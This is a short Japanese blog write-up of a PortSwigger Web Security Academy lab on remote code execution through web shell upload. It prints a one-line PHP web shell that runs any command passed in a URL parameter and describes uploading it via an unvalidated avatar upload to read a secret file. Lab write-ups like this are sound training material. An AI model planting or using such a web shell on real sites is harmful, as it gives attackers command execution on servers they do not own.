ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Web Security Academy「Remote code execution via web shell upload」解いてみた

はじめに

Web Security Academyの「Remote code execution via web shell upload」解いてみました。

portswigger.net

難易度的に簡単なものが続いているのはご容赦ください。。 あと、ウェブシェルって色々あると思うんですが、使いやすいもの、多機能なもの、見た目がいい(かわいい)ものなど、おすすめがあったら教えてください。

Writeup

前提情報

  • ファイルアップロード機能に脆弱性あり(アップロードしたファイルを検証しない)

Walkthrough

以下のような簡単なウェブシェルを用意しておく。

<?php echo system($_GET["cmd"]) ?>

マイページのアップロード機能で、ウェブシェルをアップロードする。 本来アバターの画像をアップロードするための機能なので、アバター画像を別タブで開くとウェブシェルが開く。

あとは cat /carlos/secret すればいい……はずが、なぜか同名ファイルが存在しているみたいで、同じ内容が二度表示される点に注意。